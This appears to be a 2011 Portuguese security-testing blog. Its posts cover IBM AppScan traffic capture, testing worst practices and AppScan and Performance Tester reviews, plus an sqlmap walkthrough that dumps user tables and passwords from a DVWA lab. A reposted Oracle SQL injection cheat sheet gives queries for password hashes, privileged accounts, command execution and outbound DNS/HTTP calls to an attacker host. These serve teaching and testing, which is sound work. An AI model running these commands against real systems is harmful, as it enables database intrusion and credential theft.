Pesquisar este blog

segunda-feira, 26 de dezembro de 2011

Como Capturar as requisições que AppScan gera.

A ferramenta AppScan não mostra as requisições enviadas, só as que ele encontra vulnerabilidades, tentei realizar através do fiddler, mas a quantidade gerada é tão grande que chegou a travar, pesquisando bastante encontrei um Plugins que pode ser adicionado a ferramenta, podendo realizar essa função.

Passos:
1. Baixe o Arquivo abaixo:
http://www.4shared.com/zip/gsmjUppS/AppScanRepPpt-bin-12.html
2. Instale o Executável TrafficViewerSetup.msi
3. Instale o Plugin pela AppScan
  3.1 - No menu Tools, em Extensions, clique em Extension Manager


  3.2 -  Na Tela do Extesion Manager clique em Install, selecione o arquivo baixado TrafficViewerAppScanExtension.zip, clique em "Ok", para instalar, posteriormente reinicie o AppScan.

4. Configurar o Proxy
  4.1 - Agora temos que adicionar o proxy no AppScan e no Traffic Viewer, para isso precisamos abrir os dois programas.


 Em Tools, depois em options, configure o proxy.

No menu Scan do AppScan, clique em Scan Configuration, na parte de Connection selecione "Communication and Proxy", digite o endereço e a porta do seu proxy.

Ao Clicar em "Tail", começa a capturar o Trafico, ao clicar em "Stop", vai parar a captura do trafico.

  4.2 Ao realizar seus testes no AppScan, seram capturados as requisições pelo Traffic Viewer, sendo necessário configurar os dois aplicativos ao mesmo tempo antes de realizar os testes. Pra que capturar as resquisições? Primeiro é essencial a pessoa entender como a AppScan faz os testes e como ela muda as requisições, que tipo de testes ela está fazendo, no eventual problema é necessário tentar reproduzir e entender o erro, verificando as requisições que o AppScan enviou.

quinta-feira, 15 de dezembro de 2011

Tutorial Avançado da Ferrramenta IBM AppScan



Fiz um Tutorial Avançado da Ferramenta, para aqueles que sentirem dificuldade na sua execução, a ferramenta não faz milagres, é necessário um profissional que saiba manuseá-la e entenda de segurança, o manual é de grande ajuda na realização dos testes, muitos dos Passos foram remendações dos consultores da IBM.




Link do Tutorial em PDF:

http://www.4shared.com/document/E4sNW8m9/Tutorial_Avancado_com_AppScan.html

Tutorial em Vídeo:

http://www.4shared.com/video/jJlE1OA-/projAppScan.html




terça-feira, 13 de dezembro de 2011

Curso de Auditoria de Segurança em Aplicações Web baseado na OWASP

O Curso vai ser Apresentado em Manaus entre os Meses de Março e Julho de 2012 na SOFTESTE.

BRATESTE - Piores Práticas em Testes de Software (e como evitá-las)




Na minha opinião, não existem melhores práticas universais para testes de software (e mesmo para
as demais disciplinas da engenharia de software). Porém podemos aprender com os erros dos outros
e evitar cair nas mesmas ciladas. Abaixo seguem algumas experiências que eu tive e que me
trouxeram problemas no passado. São trechos da apresentação realizada no Brateste. Para acessar
a apresentação completa, utilize o link ao final do artigo.

1. Deixar os testes para o final do projeto
Testes fazem parte do ciclo de vida do projeto e devem ser considerados desde o início. Infelizmente,
essa prática ainda não é adotada em todas as organizações, e quando deixamos os testes para o
final do projeto, o que costuma ocorrer é: os testes são comprimidos ou deixam de ser executados.
Mais grave ainda é que a importância dos testes reduz, pois normalmente próximo ao final do projeto,
a expectativa é de que não hajam defeitos - qualquer defeito encontrado pode significar um atraso na
implantação.

Para evitar essa má prática: os testes devem iniciar junto com o projeto e os
testadores devem fazer parte da equipe e colaborar com o desenvolvimento
(whole team). No início do projeto, o foco é no planejamento e no design dos
testes. Temos que manter a rastreabilidade dos produtos de trabalho de testes
com os demais produtos de desenvolvimento. Também podemos incluir requisitos
que facilitem a testabilidade do sistema (se deixarmos para o final do
projeto, é muito mais difícil que esses requisitos sejam implementados). Para
evitar essa má prática, o desenvolvimento iterativo é a chave para que os
testes não sejam executados só no final do projeto - devemos ter ciclos de
execução dos testes a cada iteração.

2. Buscar 100% de automação dos testes
Uma ilusão perseguida por muitas empresas que focam em testes é automatizar todos os testes de um
sistema. Chamo isso de ilusão pois sequer é possível definir quais são todos os testes possíveis para
um sistema. Além disso, essa prática é pouco benéfica para o principal objetivo dos testes - encontrar
defeitos. Muitas tentativas de automatizar os testes acabam criando um monstro - um conjunto de
scripts de automação difícil de ser mantido e pouco eficiente em encontrar novos defeitos (o teste só
vai ser automatizado se o software estiver funcionando - e portanto só vai encontrar defeitos se algo
que estava funcionando deixe de funcionar).

Para evitar essa má prática: a automação dos testes pode ser muito benéfica em
alguns casos (como por exemplo no desenvolvimento iterativo ou em métodos
ágeis - para ajudar nos testes de regressão). Mas a automação sozinha não deve
responder por encontrar os defeitos do sistema. Na prática executamos testes
manuais para encontrar a maior parte dos defeitos e automatizamos os cenários
que trazem algum ganho para a empresa, por exemplo: tarefas repetitivas,
principais cenários de utilização do sistema para teste de regressão, etc.
Também devemos considerar a automação de outras tarefas relacionados com teste
tais como a gerência dos testes e o reporte de defeitos. Em resumo: evite dar
toda atenção à automação e não esqueça da principal tarefa dos teste: evitar
que defeitos sejam encontrados pelos usuários da aplicação.

3. Focar nas evidências dos testes
Testadores detalhistas, empresas com níveis de controle muito altos e gerentes com uma visão
distorcida dos testes, costumam cobrar documentações detalhadas dos testes.Ás vezes o foco na documentação
ofusca o real trabalho dos testes. Os testadores devem encontrar defeitos e impedir
que esses defeitos sejam encontrados por clientes. Evidenciar os testes é uma conseqüência do
trabalho dos testadores. Documentações muito elaboradas, padrões, níveis de maturidade são menos
importantes do que encontrar defeitos.

Para evitar essa má prática: ter uma documentação detalhada dos testes não
chega a ser uma má prática se não tirar o foco dos testes de encontrar
defeitos. Meça a produtividade da equipe de testes: quantas horas são
necessárias para encontrar 1 defeito? Quantos defeitos são encontrados e
corrigidos antes que o software chegue em produção? Qual é o valor dos testes
para sua organização e de que forma eles ajudam na qualidade do projeto?


Artigo por FelipeFreire palestrado na BRATESTE
O evento, focado em testes, contou com cerca de 200
participantes e foram abordados tópicos atuais sobre os
testes de software, tais como: Agile, frameworks e
ferramentas de testes, tendências, etc. Contou com
palestrantes internacionais, autores de livros de referência para a área de testes, tais como Lee Copeland, Martin
Pol e Janet Gregory (Test Design Technics, TMap e Agile Testing).

Slides da Palestra:


Materia no jornal sobre a Empresa que Trabalho, em 2007.

segunda-feira, 12 de dezembro de 2011

Usando o SQLMAP na aplicação DVWA de Teste


Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.” O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.


Comandos Principais do SQLMAP
Identificar banco:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b
Bases:
--current-db -> mostra a atual
--dbs -> lista as bases
Tabelas:
-D [banco]
--tables -> lista as tabelas
Colunas:
-D [banco]
-T [tabela]
--columns -> lista as colunas
Valores:
-D [banco]
-T [tabel]
-C [coluna]
--dump -> extrai os valores

EXEMPLO UTILIZANDO A APLICAÇÃO DVWA PARA TESTE DE SEGURANÇA.

> Primeiro deve-se pegar a URL do sistema, aonde deseja fazer a injeção, segundo pega os dados do PHPSESSID

--> Verifica a Versão do Banco
python sqlmap.py -u 'http://192.168.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'PHPSESSID=vug5ogmej1lmsd1unlqmd2fmu1; security=low' --string='Surname' --dbs

--> Verifica a tabela users
python sqlmap.py -u 'http://192.168.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'PHPSESSID=vug5ogmej1lmsd1unlqmd2fmu1; security=low' --string='Surname' -T users --columns

---------------------------------------------- descriptografa os dados da tabela users ----

python sqlmap.py -u 'http://192.168.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'PHPSESSID=vug5ogmej1lmsd1unlqmd2fmu1; security=low' --string='Surname' --dump ---users

python sqlmap.py -u 'http://192.168.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'PHPSESSID=vug5ogmej1lmsd1unlqmd2fmu1; security=low' --string='Surname' --passwords -v 1

python sqlmap.py -u 'http://192.168.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'PHPSESSID=vug5ogmej1lmsd1unlqmd2fmu1; security=low' --string='Surname' --columns \
-D testdb -T users -C name

http://www.4shared.com/document/A6uqCxmO/SQLmapManual.html

  • Videos no Youtube

 http://www.youtube.com/watch?v=4qO8kOeU54o
 http://www.youtube.com/watch?v=hvjN3p207rw

terça-feira, 29 de novembro de 2011

Base de Conhecimento para Realização do Testes de Segurança

Para realizar testes Automáticos na Ferramenta IBM AppScan ou em outras ferramentas de Automação de testes de Segurança, devemos ter uma base de conhecimento, estou postando a documentação necessária para se ter uma boa base de conhecimento em testes de segurança.

Guia OWASP
Javascript e HTML curso Básico
OWASP Top 10
Tutorial Completo sobre os conceitos de Segurança em Redes
Conceito sobre Aplicações Web Seguras
Web Security Testing

Depois de estudar esses documentos compre esses livros, o primeiro é o melhor:
The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws
Metasploit: The Penetration Tester's Guide
BackTrack 4: Assuring Security by Penetration Testing

Pontos Fortes e Fracos da Ferramenta IBM Rational Performance Tester

IBM Rational Performance Tester
Pontos Fortes
Pontos Fracos
A ferramenta possui um datapool aonde é armazenada a massa de dados.
Interface não muito amigável.
O processo de Criação de um teste de Performance é interativo, você vai interligar um Planejamento a um teste ou a vários, e um teste ao datapool ou a vários.
Exige um bom domínio em redes e na ferramenta.
Gera relatórios dos testes Realizados em Word.
A quantidade máxima de usuários se limita a 500.
Os testes são bem consistentes, ex. realização de cadastro na base de dados via aplicação.
Podem ocorrer problemas de comunicação entre as maquinas, 
a ferramenta não me informa o problema das falhas, 
de forma que o usuário final possa entender o problema.
Testes são realizados em várias maquinas.
Necessidade de desativação do Antivírus.
A ferramenta grava a execução dos testes e monta as requisições, você pode remover as que não precisam ser testadas.
Tutorial não muito amigável para o usuário final.
Você pode montar pontos de verificação nas páginas.
 Alguns erros podem fazer a ferramenta não gerar 

relatórios, você não tem a visão de quais erros são.

A ferramenta apresenta bons gráficos dos resultados dos testes realizados.

O Help tem alguns vídeos explicativos de como criar um deste.

A ferramenta recebe atualizações constantes.

Pontos Fortes e Fracos da Ferramenta IBM Rational AppScan

IBM Rational AppScan
Pontos Fortes
Pontos Fracos
Quantidade de testes realizados é bem grande, pro mesmo problema faz o mesmo teste de n formas (impossível de uma pessoa comum realizar tantos testes).
Necessidade de bons conhecimentos na ferramenta.
Não é tão simples como se pensava.
A ferramenta sempre tem atualizações.
A ferramenta não consegue entender a lógica de negocio da Aplicação,
é necessário ajustar a ferramenta.
A ferramenta é bem eficiente.
O SQL Injection não me traz um resultado real de uma invasão, 
necessário confirmar manualmente os resultados.
Possibilidades de Adicionar Extensões, tem API pra serem utilizadas por outros programas.
É necessário, bons conhecimento em segurança,
para interpretar os dados da ferramenta,
sendo assim poder analisar um possível falso-positivo.
Gera relatórios personalizados.
A ferramenta não cobre outras camadas sem ser aplicação.
Segue os Padrões de Industrias tanto no scaneamento como na geração dos relatórios, ex. Owasp.
A opção de teste manual é muito simplória, 
poderia sem bem melhor, como outras ferramentas de testes manuais.
Ex. burp, webscab, tamper data.
Tem um bom nível de maturidade.
A ferramenta deveria ter um proxy, 
que me mostra-se a requisição enviada.
Com o test Policy posso definir o tipo de teste que desejo. Ex. só tipos High.
A ferramenta não dá a opção de adicionar um novo teste ou
um script de segurança.
Posso Excluir ou Adicionar o projeto que desejo executar.
A ferramenta não roda com uma aplicação em local host.
Ferramenta tem uma interface amigável.
A ferramenta deveria ter um site com todas as vulnerabilidades encontradas, 
detalhando cada uma, um repositório atualizado constantemente.
A Ferramenta é complemento essencial ao testes de Segura, pela diversidade de testes realizados, engloba todos os testes do top 10 da owasp.
O "Scan Log" poderia ser mais detalhado,
poderia colocar em que link deu erro,
a requisição enviada e a opção de abrir no browser.
A ferramenta explica com detalhes todos os erros encontrados e dá n dicas de como corrigir o problema.
Em Request/Response a opção "Show in Browser", 
poderia ser definido em que browser posso abrir, Firefox, IE, Chomo.
Ao realizar um exploração de um site automático, depois de terminar, você tem a opção de realizar uma exploração manual, tudo que a ferramenta não pegou no automático vai ser adicionado no manual.
A AppScan poderia fazer alguns relatórios dinâmicos no Excel, 
com o tipo de venerabilidade, link, 

prioridade (alta, media, baixa, informal), 
a fase (encontrado, corrigido, em correção).
Usando o Scan Expert, a ferramenta te sugere melhoria para a execução dos testes a seram realizados.
 Poderia ser adicionado uns vídeos, detalhado junto com o Help da ferramenta, 
seria ótimo pro usuários final.
O Login Management é muito bom pra identificar pontos de in-session e session.
 Poderia ter uma opção de mudar de idioma dentro da ferramenta, 
principalmente o Help.
A ferramenta dá a opção de criar um template com todas as configurações pré-definidas.

O Help da ferramenta é bem explicativo.

Você tem a opção de setar um erro como "Non-vulnerable", nos casos de falsos-positivos, isso é muito bom.

quinta-feira, 24 de novembro de 2011

Oracle SQL Injection Comandos

Segue uma lista de injeções ao banco de dados Oracle, são comandos genéricos que o banco interpreta, que me traz vários resultados, sem saber exatamente o nome da tabela ou o nome do usuário. 


VersionSELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
CommentsSELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current UserSELECT user FROM dual
List UsersSELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
List Password HashesSELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g
 Password Crackercheckpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List PrivilegesSELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA AccountsSELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current DatabaseSELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List DatabasesSELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases.  See tnscmd (services | status).
List ColumnsSELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
List TablesSELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column NameSELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth RowSELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth CharSELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise ANDSELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> CharSELECT chr(65) FROM dual; — returns A
Char -> ASCII ValueSELECT ascii(‘A’) FROM dual; — returns 65
CastingSELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
String ConcatenationSELECT ‘A’ || ‘B’ FROM dual; — returns AB
If StatementBEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding QuotesSELECT chr(65) || chr(66) FROM dual; — returns AB
Time DelayBEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
– Also see Heavy Queries to create a time delay
Make DNS RequestsSELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Command ExecutionJavacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File AccessUTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
Hostname, IP AddressSELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
Location of DB filesSELECT name FROM V$DATAFILE;
Default/System DatabasesSYSTEM
SYSAUX